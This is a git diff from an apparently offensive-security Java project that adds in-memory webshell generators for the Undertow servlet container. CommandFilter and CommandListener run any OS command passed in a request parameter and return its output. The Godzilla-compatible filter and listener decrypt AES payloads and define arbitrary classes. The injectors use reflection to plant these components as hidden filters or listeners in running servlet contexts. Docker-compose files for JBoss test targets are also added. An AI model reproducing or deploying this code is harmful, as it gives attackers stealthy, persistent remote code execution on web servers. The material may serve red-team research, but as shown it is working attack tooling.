+ Field field = getF(obj, fieldName); + field.set(obj, value); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/UndertowShell.java new file mode 100644 index 00000000..09823709 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/UndertowShell.java @@ -0,0 +1,42 @@ +package com.reajason.javaweb.memsell.undertow; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.AbstractShell; +import com.reajason.javaweb.memsell.undertow.command.CommandFilter; +import com.reajason.javaweb.memsell.undertow.command.CommandListener; +import com.reajason.javaweb.memsell.undertow.godzilla.GodzillaFilter; +import com.reajason.javaweb.memsell.undertow.godzilla.GodzillaListener; +import com.reajason.javaweb.memsell.undertow.injector.UndertowFilterInjector; +import com.reajason.javaweb.memsell.undertow.injector.UndertowListenerInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class UndertowShell extends AbstractShell { + @Override + public List getSupportedShellTools() { + return List.of(ShellTool.Command, ShellTool.Godzilla); + } + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + Constants.FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class), + Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + Constants.FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class), + Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandFilter.java new file mode 100644 index 00000000..298fa046 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandFilter.java @@ -0,0 +1,48 @@ +package com.reajason.javaweb.memsell.undertow.command; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandFilter implements Filter { + public String paramName = "{{paramName}}"; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getParameter(paramName); + try { + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java new file mode 100644 index 00000000..3113d478 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.memsell.undertow.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); + Object[] keys = map.keySet().toArray(); + for (Object key : keys) { + if (map.get(key).toString().contains("ServletRequestContext")) { + response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); + break; + } + } + return response; + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java new file mode 100644 index 00000000..56ffd4f8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java @@ -0,0 +1,127 @@ +package com.reajason.javaweb.memsell.undertow.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaFilter extends ClassLoader implements Filter { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaFilter() { + } + + public GodzillaFilter(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaListener.java new file mode 100644 index 00000000..f64904d6 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaListener.java @@ -0,0 +1,152 @@ +package com.reajason.javaweb.memsell.undertow.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); + Object[] keys = map.keySet().toArray(); + for (Object key : keys) { + if (map.get(key).toString().contains("ServletRequestContext")) { + response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); + break; + } + } + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java new file mode 100644 index 00000000..53e1e395 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java @@ -0,0 +1,225 @@ +package com.reajason.javaweb.memsell.undertow.injector; + +import javax.servlet.DispatcherType; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class UndertowFilterInjector { + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new UndertowFilterInjector(); + } + + public UndertowFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + } + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (Thread thread : threads) { + try { + Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) { + contexts.add(servletContext); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable ignored) { + } + } + return filter; + } + + public void addFilter(Object context, Object filter) { + String filterClassName = filter.getClass().getName(); + try { + if (isInjected(context, filterClassName)) { + return; + } + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Object deploymentInfo = getFV(context, "deploymentInfo"); + Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass()); + invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + Object deploymentImpl = getFV(context, "deployment"); + Object managedFilters = invokeMethod(deploymentImpl, "getFilters"); + invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST}); + } catch (Throwable e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("unchecked") + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters"); + if (filters != null) { + for (Map.Entry filter : filters.entrySet()) { + Class filterClass = (Class) getFV(filter.getValue(), "filterClass"); + if (filterClass != null) { + if (filterClass.getName().equals(evilClassName)) { + return true; + } + } + } + } + return false; + } + + + @SuppressWarnings("all") + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + static Object getFV(Object obj, String fieldName) throws Exception { + try { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception e) { + return null; + } + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getF(obj, fieldName); + field.set(obj, value); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java new file mode 100644 index 00000000..27451085 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java @@ -0,0 +1,216 @@ +package com.reajason.javaweb.memsell.undertow.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class UndertowListenerInjector { + + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new UndertowListenerInjector(); + } + + public UndertowListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (Thread thread : threads) { + try { + Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) { + contexts.add(servletContext); + } + } catch (Exception ignored) { + } + } + return contexts; + } + + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable ignored) { + } + } + return listener; + } + + public void addListener(Object context, Object listener) { + try { + if (isInjected(context, listener.getClass().getName())) { + return; + } + Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); + Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); + Object deploymentImpl = getFV(context, "deployment"); + Object applicationListeners = getFV(deploymentImpl, "applicationListeners"); + Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); + Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); + invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); + } catch (Throwable e) { + e.printStackTrace(); + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners"); + if (allListeners != null) { + for (Object allListener : allListeners) { + Class listener = (Class) getFV(getFV(allListener, "listenerInfo"), "listenerClass"); + if (listener != null) { + if (listener.getName().contains(evilClassName)) { + return true; + } + } + } + } + return false; + } + + @SuppressWarnings("all") + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + static Object getFV(Object obj, String fieldName) throws Exception { + try { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception e) { + return null; + } + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getF(obj, fieldName); + field.set(obj, value); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/integration-test/docker-compose/jboss/docker-compose-4-jdk6.yaml b/integration-test/docker-compose/jboss/docker-compose-4-jdk6.yaml new file mode 100644 index 00000000..f48d1f5d --- /dev/null +++ b/integration-test/docker-compose/jboss/docker-compose-4-jdk6.yaml @@ -0,0 +1,11 @@ +services: + jboss423: + image: reajason/jboss:4-jdk6 + container_name: jboss423 + ports: + - 8080:8080 + - 5005:5005 + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/server/default/deploy/app.war diff --git a/integration-test/docker-compose/jboss/docker-compose-6-jdk7.yaml b/integration-test/docker-compose/jboss/docker-compose-6-jdk7.yaml new file mode 100644 index 00000000..b374a982 --- /dev/null +++ b/integration-test/docker-compose/jboss/docker-compose-6-jdk7.yaml @@ -0,0 +1,11 @@ +services: + jboss610: + image: reajason/jboss:6-jdk7 + container_name: jboss610 + ports: + - 8080:8080 + - 5005:5005 + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/server/jbossweb-standalone/deploy/app.war diff --git a/integration-test/docker-compose/jboss/docker-compose-7-jdk7.yaml b/integration-test/docker-compose/jboss/docker-compose-7-jdk7.yaml new file mode 100644 index 00000000..5ff1f53c --- /dev/null +++ b/integration-test/docker-compose/jboss/docker-compose-7-jdk7.yaml @@ -0,0 +1,11 @@ +services: + jboss77: + image: reajason/jboss:7-jdk7 + container_name: jboss77 + ports: + - 8080:8080 + - 5005:5005 + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms64m -Xmx512m -XX:MaxPermSize=256m -Djava.net.preferIPv4Stack=true -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true -Djboss.server.default.config=standalone.xml + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/standalone/deployments/app.war diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java new file mode 100644 index 00000000..61211245 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.integration.jbossas; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; 